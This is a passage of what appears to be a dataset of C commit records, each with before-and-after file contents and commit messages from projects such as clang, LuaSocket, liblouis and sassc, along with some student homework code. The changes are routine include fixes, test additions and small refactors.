defined(OSF1)\n#undef FD_ZERO\n#define FD_ZERO(p)     memset((char *)(p), 0, sizeof(*(p)))\n#endif\n\n\/*\nVarious non-POSIX conforming files which depend on sys\/types.h will\nneed these extra definitions...\n*\/\n\ntypedef unsigned int u_int;\n\n#if defined(AIX32)\ntypedef unsigned short ushort;\n#endif\n\n#if defined(ULTRIX42) ||  defined(ULTRIX43)\ntypedef char * caddr_t;\n#endif\n\n#if defined(AIX32)\ntypedef unsigned long rlim_t;\n#endif\n\n#endif\n","subject":"Fix up definition of off_t for DecAlpha OSF\/1 v1.3.","message":"Fix up definition of off_t for DecAlpha OSF\/1 v1.3.\n","lang":"C","license":"apache-2.0","repos":"bbockelm\/condor-network-accounting,htcondor\/htcondor,zhangzhehust\/htcondor,djw8605\/condor,htcondor\/htcondor,neurodebian\/htcondor,clalancette\/condor-dcloud,neurodebian\/htcondor,mambelli\/osg-bosco-marco,clalancette\/condor-dcloud,mambelli\/osg-bosco-marco,djw8605\/htcondor,neurodebian\/htcondor,zhangzhehust\/htcondor,clalancette\/condor-dcloud,djw8605\/htcondor,clalancette\/condor-dcloud,bbockelm\/condor-network-accounting,djw8605\/htcondor,zhangzhehust\/htcondor,bbockelm\/condor-network-accounting,bbockelm\/condor-network-accounting,zhangzhehust\/htcondor,mambelli\/osg-bosco-marco,bbockelm\/condor-network-accounting,djw8605\/condor,clalancette\/condor-dcloud,neurodebian\/htcondor,htcondor\/htcondor,htcondor\/htcondor,djw8605\/condor,htcondor\/htcondor,mambelli\/osg-bosco-marco,mambelli\/osg-bosco-marco,neurodebian\/htcondor,htcondor\/htcondor,djw8605\/condor,djw8605\/condor,zhangzhehust\/htcondor,htcondor\/htcondor,neurodebian\/htcondor,djw8605\/htcondor,neurodebian\/htcondor,htcondor\/htcondor,mambelli\/osg-bosco-marco,bbockelm\/condor-network-accounting,zhangzhehust\/htcondor,bbockelm\/condor-network-accounting,mambelli\/osg-bosco-marco,djw8605\/htcondor,djw8605\/htcondor,djw8605\/htcondor,clalancette\/condor-dcloud,neurodebian\/htcondor,neurodebian\/htcondor,bbockelm\/condor-network-accounting,djw8605\/condor,djw8605\/htcondor,zhangzhehust\/htcondor,clalancette\/condor-dcloud,djw8605\/condor,zhangzhehust\/htcondor,mambelli\/osg-bosco-marco,djw8605\/condor,djw8605\/htcondor,zhangzhehust\/htcondor"}
{"commit":"ba541d36f6891892efc3f17773ff2395bb97df44","old_file":"test\/CodeGen\/x86_32-inline-asm.c","new_file":"test\/CodeGen\/x86_32-inline-asm.c","old_contents":"\/\/ RUN: %clang_cc1 -triple i386-apple-darwin9 -verify %s\n\/\/ <rdar:\/\/problem\/12415959>\n\ntypedef unsigned int u_int32_t;\ntypedef u_int32_t uint32_t;\n\ntypedef unsigned long long u_int64_t;\ntypedef u_int64_t uint64_t;\n\nint main () {\n  uint32_t msr = 0x8b;\n  uint64_t val = 0;\n  __asm__ volatile(\"wrmsr\"\n                   :\n                   : \"c\" (msr),\n                     \"a\" ((val & 0xFFFFFFFFUL)), \/\/ expected-error {{invalid input size for constraint 'a'}}\n                     \"d\" (((val >> 32) & 0xFFFFFFFFUL)));\n}\n","new_contents":"\/\/ RUN: %clang_cc1 -triple i386-apple-darwin9 -verify %s\n\/\/ <rdar:\/\/problem\/12415959>\n\ntypedef unsigned int u_int32_t;\ntypedef u_int32_t uint32_t;\n\ntypedef unsigned long long u_int64_t;\ntypedef u_int64_t uint64_t;\n\nint main () {\n  \/\/ Error out if size is > 32-bits.\n  uint32_t msr = 0x8b;\n  uint64_t val = 0;\n  __asm__ volatile(\"wrmsr\"\n                   :\n                   : \"c\" (msr),\n                     \"a\" ((val & 0xFFFFFFFFUL)), \/\/ expected-error {{invalid input size for constraint 'a'}}\n                     \"d\" (((val >> 32) & 0xFFFFFFFFUL)));\n\n  \/\/ Don't error out if the size of the destination is <= 32 bits.\n  unsigned char data;\n  unsigned int port;\n  __asm__ volatile(\"outb %0, %w1\" : : \"a\" (data), \"Nd\" (port)); \/\/ No error expected.\n}\n","subject":"Update testcase to show that we don't emit an error for sizes <= 32-bits.","message":"Update testcase to show that we don't emit an error for sizes <= 32-bits.\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@167748 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang"}
{"commit":"3c62ef3d6cd198b345da0d0381b1145dfdb05cf1","old_file":"mod_uuid.c","new_file":"mod_uuid.c","old_contents":"#include <uuid\/uuid.h>\n#include \"httpd.h\"\n#include \"http_config.h\"\n\nstatic int generate_uuid(request_rec *r)\n{\n  char *uuid_str;\n  uuid_t uuid;\n  uuid_generate_random(uuid);\n\n  uuid_str = (char *)apr_palloc(r->pool, sizeof(char)*37);\n  uuid_unparse_lower(uuid, uuid_str);\n  apr_table_setn(r->subprocess_env, \"UUID\", uuid_str);\n\n  return DECLINED;\n}\n\nstatic void register_hooks(apr_pool_t *p)\n{\n    ap_hook_post_read_request(generate_uuid, NULL, NULL, APR_HOOK_MIDDLE);\n}\n\nmodule AP_MODULE_DECLARE_DATA uuid_module = {\n    STANDARD20_MODULE_STUFF,\n    NULL,                       \/* dir config creater *\/\n    NULL,                       \/* dir merger --- default is to override *\/\n    NULL,                       \/* server config *\/\n    NULL,                       \/* merge server configs *\/\n    NULL,                       \/* command apr_table_t *\/\n    register_hooks              \/* register hooks *\/\n};\n","new_contents":"#include <uuid\/uuid.h>\n#include \"httpd.h\"\n#include \"http_config.h\"\n#include \"http_protocol.h\"\n\nstatic int generate_uuid(request_rec *r)\n{\n  char *uuid_str;\n  uuid_t uuid;\n  uuid_generate_random(uuid);\n\n  uuid_str = (char *)apr_palloc(r->pool, sizeof(char)*37);\n  uuid_unparse_lower(uuid, uuid_str);\n  apr_table_setn(r->subprocess_env, \"UUID\", uuid_str);\n\n  return DECLINED;\n}\n\nstatic void register_hooks(apr_pool_t *p)\n{\n    ap_hook_post_read_request(generate_uuid, NULL, NULL, APR_HOOK_MIDDLE);\n}\n\nmodule AP_MODULE_DECLARE_DATA uuid_module = {\n    STANDARD20_MODULE_STUFF,\n    NULL,                       \/* dir config creater *\/\n    NULL,                       \/* dir merger --- default is to override *\/\n    NULL,                       \/* server config *\/\n    NULL,                       \/* merge server configs *\/\n    NULL,                       \/* command apr_table_t *\/\n    register_hooks              \/* register hooks *\/\n};\n","subject":"Add header file for ap_hook_post_read_request to suppress compiler warnings","message":"Add header file for ap_hook_post_read_request to suppress compiler warnings\n","lang":"C","license":"apache-2.0","repos":"tomg\/mod_uuid"}
{"commit":"8348847ba77a85167f591e7c97db6d205b0a3f62","old_file":"sassc.c","new_file":"sassc.c","old_contents":"#include <stdio.h>\n#include \"libsass\/sass_interface.h\"\n\nint main(int argc, char** argv)\n{\n\tint ret;\n\n\tif (argc < 2) {\n\t\tprintf(\"Usage: sassc [INPUT FILE]\\n\");\n\t\treturn 0;\n\t}\n\n\tstruct sass_file_context* ctx = sass_new_file_context();\n\tctx->options.include_paths = \"\";\n\tctx->options.image_path = \"images\";\n\tctx->options.output_style = SASS_STYLE_NESTED;\n\tctx->input_path = argv[1];\n\n\tsass_compile_file(ctx);\n\n\tif (ctx->error_status) {\n\t\tif (ctx->error_message)\n\t\t\tprintf(\"%s\", ctx->error_message);\n\t\telse\n\t\t\tprintf(\"An error occured; no error message available.\\n\");\n\t\tret = 1;\n\t}\n\telse if (ctx->output_string) {\n\t\tprintf(\"%s\", ctx->output_string);\n\t\tret = 0;\n\t}\n\telse {\n\t\tprintf(\"Unknown internal error.\\n\");\n\t\tret = 2;\n\t}\n\n\tsass_free_file_context(ctx);\n\treturn ret;\n}\n\n","new_contents":"#include <stdio.h>\n#include \"libsass\/sass_interface.h\"\n\nint main(int argc, char** argv)\n{\n\tint ret;\n\n\tif (argc < 2) {\n\t\tprintf(\"Usage: sassc [INPUT FILE]\\n\");\n\t\treturn 0;\n\t}\n\n\tstruct sass_file_context* ctx = sass_new_file_context();\n\tctx->options.include_paths = \"\";\n\tctx->options.image_path = \"images\";\n\tctx->options.output_style = SASS_STYLE_NESTED;\n\tctx->input_path = argv[1];\n\n\tsass_compile_file(ctx);\n\n\tif (ctx->error_status) {\n\t\tif (ctx->error_message)\n\t\t\tfprintf(stderr, \"%s\", ctx->error_message);\n\t\telse\n\t\t\tfprintf(stderr, \"An error occured; no error message available.\\n\");\n\t\tret = 1;\n\t}\n\telse if (ctx->output_string) {\n\t\tprintf(\"%s\", ctx->output_string);\n\t\tret = 0;\n\t}\n\telse {\n\t\tfprintf(stderr, \"Unknown internal error.\\n\");\n\t\tret = 2;\n\t}\n\n\tsass_free_file_context(ctx);\n\treturn ret;\n}\n\n","subject":"Print error messages to stderr.","message":"Print error messages to stderr.\n","lang":"C","license":"mit","repos":"saper\/sassc,am11\/sassc,am11\/sassc,djam90\/sassc,rightisleft\/sassc,saper\/sassc,am11\/sassc,saper\/sassc,rightisleft\/sassc,djam90\/sassc,rightisleft\/sassc,djam90\/sassc"}
{"commit":"27c91635d7f66040a801f46ff0a31852aefe9bf9","old_file":"src\/utils\/Enums.h","new_file":"src\/utils\/Enums.h","old_contents":"","new_contents":"\/*****************************************************************************\n * Media Library\n *****************************************************************************\n * Copyright (C) 2021 Hugo Beauzée-Luyssen, Videolabs, VideoLAN\n *\n * Authors: Hugo Beauzée-Luyssen <hugo@beauzee.fr>\n *\n * This program is free software; you can redistribute it and\/or modify it\n * under the terms of the GNU Lesser General Public License as published by\n * the Free Software Foundation; either version 2.1 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public License\n * along with this program; if not, write to the Free Software Foundation,\n * Inc., 51 Franklin Street, Fifth Floor, Boston MA 02110-1301, USA.\n *****************************************************************************\/\n\n#pragma once\n\n#include <type_traits>\n#include <string>\n\nnamespace medialibrary\n{\nnamespace utils\n{\n\ntemplate <typename T>\nstd::string enum_to_string( T value )\n{\n    static_assert( std::is_enum<T>::value, \"This must be used with enum types\" );\n    return std::to_string( static_cast<std::underlying_type_t<T>>( value ) );\n}\n\n}\n}\n","subject":"Add an enum_to_string util function","message":"utils: Add an enum_to_string util function\n\nIn order to avoid sprinkling 2+ line std::to_string invocations each\ntime we need to convert an enum value to a string in a SQL request\n","lang":"C","license":"lgpl-2.1","repos":"chouquette\/medialibrary,chouquette\/medialibrary,chouquette\/medialibrary,chouquette\/medialibrary"}
{"commit":"8a886e7b508f52754ef1dcd49208903ba9e54040","old_file":"rgmanager\/src\/clulib\/gettid.c","new_file":"rgmanager\/src\/clulib\/gettid.c","old_contents":"#include <sys\/types.h>\n#include <linux\/unistd.h>\n#include <gettid.h>\n#include <errno.h>\n\n\/* Patch from Adam Conrad \/ Ubuntu: Don't use _syscall macro *\/\n\n#ifdef __NR_gettid\npid_t gettid (void)\n{\n\treturn syscall(__NR_gettid);\n}\n#else\n\n#warn \"gettid not available -- substituting with pthread_self()\"\n\n#include <pthread.h>\npid_t gettid (void)\n{\n\treturn (pid_t)pthread_self();\n}\n#endif\n","new_contents":"#include <sys\/types.h>\n#include <sys\/syscall.h>\n#include <linux\/unistd.h>\n#include <gettid.h>\n#include <errno.h>\n#include <unistd.h>\n\n\/* Patch from Adam Conrad \/ Ubuntu: Don't use _syscall macro *\/\n\n#ifdef __NR_gettid\npid_t gettid (void)\n{\n\treturn syscall(__NR_gettid);\n}\n#else\n\n#warn \"gettid not available -- substituting with pthread_self()\"\n\n#include <pthread.h>\npid_t gettid (void)\n{\n\treturn (pid_t)pthread_self();\n}\n#endif\n","subject":"Patch from Fabio Massimo Di Nitto: Fix includes","message":"Patch from Fabio Massimo Di Nitto: Fix includes\n","lang":"C","license":"lgpl-2.1","repos":"stevenraspudic\/resource-agents,asp24\/resource-agents,stevenraspudic\/resource-agents,asp24\/resource-agents,asp24\/resource-agents,stevenraspudic\/resource-agents"}
{"commit":"661bc252516e229e3f3769956b1b16c8d40a95eb","old_file":"tests\/execute\/0110-typedefcast.c","new_file":"tests\/execute\/0110-typedefcast.c","old_contents":"typedef int myint;\nmyint x = (myint)1;\n","new_contents":"typedef int myint;\nmyint x = (myint)1;\n\nint\nmain(void)\n{\n\treturn x-1;\n}\n","subject":"Fix test added in 6fe29dd","message":"[tests] Fix test added in 6fe29dd\n\nTests must have a main function which returns 0.\n","lang":"C","license":"isc","repos":"k0gaMSX\/scc,k0gaMSX\/scc,k0gaMSX\/scc"}
{"commit":"250473c59441260055fa47fb04a2f2dd911d7cf6","old_file":"rov_simulator\/src\/simulator.h","new_file":"rov_simulator\/src\/simulator.h","old_contents":"#ifndef SIMULATOR_H\n#define SIMULATOR_H\n#include \"ros\/ros.h\"\n\n#include \"dynamics.h\"\n#include \"sensor_msgs\/Imu.h\"\n#include \"sensor_msgs\/FluidPressure.h\"\n#include \"nav_msgs\/Odometry.h\"\n#include \"geometry_msgs\/Wrench.h\"\n#include \"geometry_msgs\/Pose.h\"\n#include \"vortex_msgs\/Float64ArrayStamped.h\"\n#include <\/usr\/include\/armadillo>\n\ntypedef std::vector<double> stdvec;\n\nclass Simulator {\n  public:\n  \tSimulator(unsigned int f,\n              ros::NodeHandle nh);\n  \tvoid thrustCallback(const vortex_msgs::Float64ArrayStamped &msg);\n   void spin();\n  private:\n    void poseArmaToMsg(const arma::vec &e,\n                       geometry_msgs::Pose &m);\n    void twistArmaToMsg(const arma::vec &e,\n                        geometry_msgs::Twist &m);\n  \tunsigned int    frequency;\n  \tros::NodeHandle nh;\n  \tros::Subscriber wrenchSub;\n    ros::Publisher  posePub;\n    ros::Publisher  twistPub;\n    ros::Publisher  imuPub;\n    ros::Publisher  pressurePub;\n  \tDynamics        *dynamics;\n  \tarma::vec       u;\n};\n\n#endif\n","new_contents":"#ifndef SIMULATOR_H\n#define SIMULATOR_H\n#include \"ros\/ros.h\"\n\n#include \"dynamics.h\"\n#include \"sensor_msgs\/Imu.h\"\n#include \"sensor_msgs\/FluidPressure.h\"\n#include \"nav_msgs\/Odometry.h\"\n#include \"geometry_msgs\/Wrench.h\"\n#include \"geometry_msgs\/Pose.h\"\n#include \"vortex_msgs\/Float64ArrayStamped.h\"\n#include <\/usr\/include\/armadillo>\n\ntypedef std::vector<double> stdvec;\n\nclass Simulator {\n  public:\n    Simulator(unsigned int f,\n              ros::NodeHandle nh);\n    void thrustCallback(const vortex_msgs::Float64ArrayStamped &msg);\n   void spin();\n  private:\n    void poseArmaToMsg(const arma::vec &e,\n                       geometry_msgs::Pose &m);\n    void twistArmaToMsg(const arma::vec &e,\n                        geometry_msgs::Twist &m);\n    unsigned int    frequency;\n    ros::NodeHandle nh;\n    ros::Subscriber wrenchSub;\n    ros::Publisher  posePub;\n    ros::Publisher  twistPub;\n    ros::Publisher  imuPub;\n    ros::Publisher  pressurePub;\n    Dynamics        *dynamics;\n    arma::vec       u;\n};\n\n#endif\n","subject":"Change any tabs to spaces","message":"Change any tabs to spaces\n","lang":"C","license":"mit","repos":"vortexntnu\/simulator"}
{"commit":"ffaf170e85b189831681c13d99e6670054d3f0dd","old_file":"lab2\/server.c","new_file":"lab2\/server.c","old_contents":"","new_contents":"#include <stdio.h>\n#include <stdlib.h>\n\nint main(int argc, char **argv)\n{\n    int port;\n    char *directory;\n\n    \/\/ Command Line Arguments \/\/\n    if (argc < 3) {\n        printf(\"usage: %s <port> <dir>\\n\", argv[0]);\n        return 1;\n    }\n    port = atoi(argv[1]);\n    directory = argv[2];\n\n    if (port <= 0) {\n        printf(\"Invalid port provided.\\n\");\n        return 1;\n    }\n\n    \/\/ TODO server\n\n    return 0;\n}","subject":"Add the begginning of lab1","message":"Add the begginning of lab1\n","lang":"C","license":"mit","repos":"chocklymon\/CS360,chocklymon\/CS360,chocklymon\/CS360,chocklymon\/CS360"}
{"commit":"047fa49e35d9dda7a987468b86d60ec8bca4b33a","old_file":"tests\/infiniteTranslationLoop.c","new_file":"tests\/infiniteTranslationLoop.c","old_contents":"\/* liblouis Braille Translation and Back-Translation Library\n\nCopyright (C) 2014 Mesar Hameed <mesar.hameed@gmail.com>\n\nCopying and distribution of this file, with or without modification,\nare permitted in any medium without royalty provided the copyright\nnotice and this notice are preserved. This file is offered as-is,\nwithout any warranty. *\/\n\n#include <stdio.h>\n#include <string.h>\n#include <stdlib.h>\n#include \"liblouis.h\"\n#include \"brl_checks.h\"\n\n\/* Demonstrates infinite translation loop.\n*  Originally reported at: http:\/\/www.freelists.org\/post\/liblouis-liblouisxml\/Translating-com-with-UEBCg2ctb-causes-infinite-loop\n*\/\n\nint main(int argc, char **argv)\n{\n  int result = 0;\n  const char *text = \"---.com\";\n  const char *expected = \"\";\n\n  result |= check_translation(\"UEBC-g2.ctb\", text, NULL, expected);\n\n  lou_free();\n\n  return result;\n}\n","new_contents":"\/* liblouis Braille Translation and Back-Translation Library\n\nCopyright (C) 2014 Mesar Hameed <mesar.hameed@gmail.com>\n\nCopying and distribution of this file, with or without modification,\nare permitted in any medium without royalty provided the copyright\nnotice and this notice are preserved. This file is offered as-is,\nwithout any warranty. *\/\n\n#include <stdio.h>\n#include <string.h>\n#include <stdlib.h>\n#include \"liblouis.h\"\n#include \"brl_checks.h\"\n\n\/* Demonstrates infinite translation loop.\n*  Originally reported at: http:\/\/www.freelists.org\/post\/liblouis-liblouisxml\/Translating-com-with-UEBCg2ctb-causes-infinite-loop\n*\/\n\nint main(int argc, char **argv)\n{\n  int result = 0;\n  const char *text = \"---.com\";\n  const char *expected = \"\";\n\n  result |= check_translation(\"tables\/UEBC-g2.ctb\", text, NULL, expected);\n\n  lou_free();\n\n  return result;\n}\n","subject":"Fix a path in the translation loop test","message":"Fix a path in the translation loop test\n","lang":"C","license":"lgpl-2.1","repos":"vsmontalvao\/liblouis,vsmontalvao\/liblouis,hammera\/liblouis,liblouis\/liblouis,hammera\/liblouis,BueVest\/liblouis,BueVest\/liblouis,BueVest\/liblouis,hammera\/liblouis,IndexBraille\/liblouis,IndexBraille\/liblouis,liblouis\/liblouis,IndexBraille\/liblouis,BueVest\/liblouis,hammera\/liblouis,BueVest\/liblouis,vsmontalvao\/liblouis,liblouis\/liblouis,IndexBraille\/liblouis,liblouis\/liblouis,liblouis\/liblouis,hammera\/liblouis,hammera\/liblouis,BueVest\/liblouis,liblouis\/liblouis,vsmontalvao\/liblouis,vsmontalvao\/liblouis,IndexBraille\/liblouis"}
{"commit":"f2c1a12c18bda617e32a79ac1c2adcc0cf2e883e","old_file":"test\/Analysis\/PR38208.c","new_file":"test\/Analysis\/PR38208.c","old_contents":"","new_contents":"\/\/ RUN: %clang_analyze_cc1 -analyzer-checker=core -verify %s\n\n\/\/ expected-no-diagnostics\n\nint foo(int a, int b) {\n  a += b; b -= a;\n  a += b; b -= a;\n  a += b; b -= a;\n  a += b; b -= a;\n  a += b; b -= a;\n  a += b; b -= a;\n  a += b; b -= a;\n  a += b; b -= a;\n  a += b; b -= a;\n  a += b; b -= a;\n  a += b; b -= a;\n  a += b; b -= a;\n  a += b; b -= a;\n  a += b; b -= a;\n  a += b; b -= a;\n  a += b; b -= a;\n  a += b; b -= a;\n  a += b; b -= a;\n  a += b; b -= a;\n  a += b; b -= a;\n  a += b; b -= a;\n  a += b; b -= a;\n  a += b; b -= a;\n  a += b; b -= a;\n  a += b; b -= a;\n  a += b; b -= a;\n  a += b; b -= a;\n  a += b; b -= a;\n  a += b; b -= a;\n  a += b; b -= a;\n  a += b; b -= a;\n  a += b; b -= a;\n  a += b; b -= a;\n  a += b; b -= a;\n  a += b; b -= a;\n  a += b; b -= a;\n  return a + b;\n}\n","subject":"Fix for last commit: adding new test file forgotten.","message":"Fix for last commit: adding new test file forgotten.\n\n\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@337679 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang"}
{"commit":"7dbdf1bce8b4948d979a847315b8b9308c943e4c","old_file":"examples\/example_01.c","new_file":"examples\/example_01.c","old_contents":"#include <stdio.h>\n#include <datastructs.h>\n\nint main(){\n\n    typedef struct user_data {\n        char name[100];\n        char email[100];\n    } user_data;\n    \n    user_data a = {\"John Doe\", \"john.doe@mail_server.com\"};\n    user_data b = {\"Jack Smith\", \"jack.smith@mail_server.com\"};\n    user_data c = {\"Jane Plain\", \"jane.plain@mail_server.com\"};\n    user_data d = {\"Mary Merry\", \"mary.merry@mail_server.com\"};\n    \n    user_data* data = NULL;\n    \n    \/\/ list creation:\n    ds_linked_list* list = ds_linked_list_create();\n    \n    ds_linked_list_insert_at(list, &a, 0);\n    ds_linked_list_add(list, &b);\n    ds_linked_list_add(list, &c);\n    ds_linked_list_add(list, &d);\n    \n    int i;\n    for (i = 0; i < list->size; i ++){\n        data = ds_linked_list_get(list, i);\n        printf(\"Name: %s, Email: %s\\n\", data->name, data->email );\n    }\n    \n    ds_linked_list_delete(&list);\n\n}\n\n","new_contents":"#include <stdio.h>\n#include <datastructs.h>\n\nint main(){\n\n    typedef struct user_data {\n        char name[100];\n        char email[100];\n    } user_data;\n    \n    user_data a = {\"John Doe\", \"john.doe@mail_server.com\"};\n    user_data b = {\"Jack Smith\", \"jack.smith@mail_server.com\"};\n    user_data c = {\"Jane Plain\", \"jane.plain@mail_server.com\"};\n    user_data d = {\"Mary Merry\", \"mary.merry@mail_server.com\"};\n    \n    user_data* data = NULL;\n    \n    \/\/ list creation:\n    ds_linked_list* list = ds_linked_list_create();\n    \n    ds_linked_list_insert_at(list, &a, 0);\n    ds_linked_list_add(list, &b);\n    ds_linked_list_add(list, &c);\n    ds_linked_list_add(list, &d);\n    \n    int i;\n    for (i = 0; i < ds_linked_list_length(list); i ++){\n        data = ds_linked_list_get(list, i);\n        printf(\"Name: %s, Email: %s\\n\", data->name, data->email );\n    }\n    \n    ds_linked_list_delete(&list);\n\n}\n\n","subject":"Use ds_linked_list_length() instead of the size struct member.","message":"Examples: Use ds_linked_list_length() instead of the size struct member.\n","lang":"C","license":"bsd-3-clause","repos":"cyberpython\/datastructs,cyberpython\/datastructs"}
{"commit":"437d7aadc7f40d2862539fa54c03c271d94b64cc","old_file":"2015-2016\/A\/15\/03\/romanNumerals.c","new_file":"2015-2016\/A\/15\/03\/romanNumerals.c","old_contents":"","new_contents":"#include <stdio.h>\n#include <string.h>\nint getRomanValue(char number);\nint checkRomanValue(char romanNumber[20]);\nint main()\n{\n\tchar romanNumber[20];\n\tint i, curNum;\n\twhile(1)\n\t{\n\t\tcurNum=0;\n\t\tprintf(\"Input roman number: \");\n\t\tscanf(\"%s\", romanNumber);\n\t\tif(checkRomanN(romanNumber)==0)\n\t\t{\n\t\t\tprintf(\"Input a valid roman number\\n\");\n\t\t\tcontinue;\n\t\t}\n\t\tfor(i=0; i<strlen(romanNumber); i++)\n\t\t{\n\t\t\tif(getRomanValue(romanNumber[i])<getRomanValue(romanNumber[i+1]))\n\t\t\t{\n\t\t\t\tcurNum+=getRomanValue(romanNumber[i+1]) - getRomanValue(romanNumber[i]);\n\t\t\t\ti++;\n\t\t\t}\n\t\t\telse\n\t\t\t\tcurNum+=getRomanValue(romanNumber[i]);\n\t\t}\n\t\tif(curNum>256)\n\t\t{\n\t\t\tprintf(\"Number is larger than 256\\n\");\n\t\t\tcontinue;\n\t\t}\n\t\telse\n\t\t{\n\t\t\tprintf(\"Roman number in decimal is: %d\\n\", curNum);\n\t\t\tbreak;\n\t\t}\n\t}\n\treturn 1;\n}\n\nint getRomanValue(char number)\n{\n\tint value;\n\tswitch(number){\n\tcase 'I':\n\t\tvalue=1;\n\t\tbreak;\n\tcase 'V':\n\t\tvalue=5;\n\t\tbreak;\n\tcase 'X':\n\t\tvalue=10;\n\t\tbreak;\n\tcase 'L':\n\t\tvalue=50;\n\t\tbreak;\n\tcase 'C':\n\t\tvalue=100;\n\t\tbreak;\n\t}\n\treturn value;\n}\nint checkRomanN(char romanNumber[20]) \/\/Function to check if inputted string is valid with roman numerals rules\n{\n\tint numerals[5]={0}, correct=1, i; \/\/ 0 - I 1 - V 2 - X 3 - L 4 - C XIX\n\tfor(i=0;i<strlen(romanNumber);i++)\n\t{\n\t\tif(romanNumber[i]!='I' && romanNumber[i]!='V' && romanNumber[i]!='X' && romanNumber[i]!='L' && romanNumber[i]!='C')\n\t\t{\n\t\t\tswitch(romanNumber[i]){\n\t\t\tcase 'I':\n\t\t\t\tnumerals[0]++;\n\t\t\t\tbreak;\n\t\t\tcase 'V':\n\t\t\t\tnumerals[1]++;\n\t\t\t\tbreak;\n\t\t\tcase 'X':\n\t\t\t\tnumerals[2]++;\n\t\t\t\tbreak;\n\t\t\tcase 'L':\n\t\t\t\tnumerals[3]++;\n\t\t\t\tbreak;\n\t\t\tcase 'C':\n\t\t\t\tnumerals[4]++;\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\t}\n\tfor(i=0;i<5;i++)\n\t{\n\t\tif(numerals[i]>3)\n\t\t\treturn 0;\n\t}\n\treturn 1;\n}\n","subject":"Add Roman Numerals to homework","message":"Add Roman Numerals to homework\n","lang":"C","license":"mit","repos":"AlexAndreev\/po-homework,ivanmilevtues\/po-homework,vincho7012\/po-homework,karakonjel\/po-homework,VVurbanov\/po-homework"}
{"commit":"59c8aaac3425108e3137677863cc8cee6c84e20b","old_file":"src\/compat.h","new_file":"src\/compat.h","old_contents":"#ifndef COMPAT_H\n#define COMPAT_H\n\n#include \"lua.h\"\n#include \"lauxlib.h\"\n\n#if LUA_VERSION_NUM==501\nvoid luaL_setfuncs (lua_State *L, const luaL_Reg *l, int nup);\nvoid *luaL_testudata ( lua_State *L, int arg, const char *tname);\n#endif\n\n#endif\n","new_contents":"#ifndef COMPAT_H\n#define COMPAT_H\n\n#include \"lua.h\"\n#include \"lauxlib.h\"\n\n#if LUA_VERSION_NUM==501\n#define luaL_setfuncs socket_setfuncs\n#define luaL_testudata socket_testudata\nvoid luaL_setfuncs (lua_State *L, const luaL_Reg *l, int nup);\nvoid *luaL_testudata ( lua_State *L, int arg, const char *tname);\n#endif\n\n#endif\n","subject":"Fix static linking problem with LuaJIT","message":"Fix static linking problem with LuaJIT\n\nLuaJIT and LuaSocket both define new Lua APIs from Lua 5.2 (in\nparticular `luaL_setfuncs` and `luaL_testudata`). When linking both\nstatically, the one definition rule strikes and linking fails. This\ncommit fixes the issue by renaming the LuaSocket versions of those\nfunctions behind the scenes using the C preprocessor.\n\nCloses #214\n","lang":"C","license":"mit","repos":"diegonehab\/LuaSocket,diegonehab\/LuaSocket,diegonehab\/LuaSocket"}
{"commit":"3f6405a7ebcb804e88aba4be5a68c767690c4a72","old_file":"test\/test_app.c","new_file":"test\/test_app.c","old_contents":"#include \"test.h\"\n#include \"app.h\"\n\nTEST(app_new) {\n  app_t * app = app_new();\n\n  assert(app->running == 0);\n  assert(app->io      == 0);\n\n  app_free(app);\n}\n\nTEST(current_app_set_to) {\n  app_t * app = app_new();\n\n  assert(current_app == 0);\n\n  current_app_set_to(app);\n\n  assert(current_app == app);\n\n  app_free(app);\n  current_app_set_to(0);\n}\n\nstatic test_t app_test_suite[] = {\n  TEST_REF(app_new),\n  0\n};\n","new_contents":"#include <string.h>\n#include \"test.h\"\n#include \"io.h\"\n#include \"app.h\"\n\nTEST(app_new) {\n  app_t * app = app_new();\n\n  assert(app->running == 0);\n  assert(app->io      == 0);\n\n  app_free(app);\n}\n\nTEST(current_app_set_to) {\n  app_t * app = app_new();\n\n  assert(current_app == 0);\n\n  current_app_set_to(app);\n\n  assert(current_app == app);\n\n  app_free(app);\n  current_app_set_to(0);\n}\n\nTEST(app_parse_command_line) {\n  app_t * app = app_new();\n  int     argc = 3;\n  char  * argv[] = {\"chip8\", \"--io\", \"terminal\"};\n\n  app_parse_command_line(app, argc, argv);\n  assert(app->io && strcmp(app->io->name, \"terminal\") == 0);\n\n  app_free(app);\n}\n\nstatic test_t app_test_suite[] = {\n  TEST_REF(app_new),\n  TEST_REF(app_parse_command_line),\n  0\n};\n","subject":"Add a failing test for app_parse_command_line","message":"Add a failing test for app_parse_command_line\n","lang":"C","license":"mit","repos":"gsamokovarov\/chip8.c,gsamokovarov\/chip8.c"}
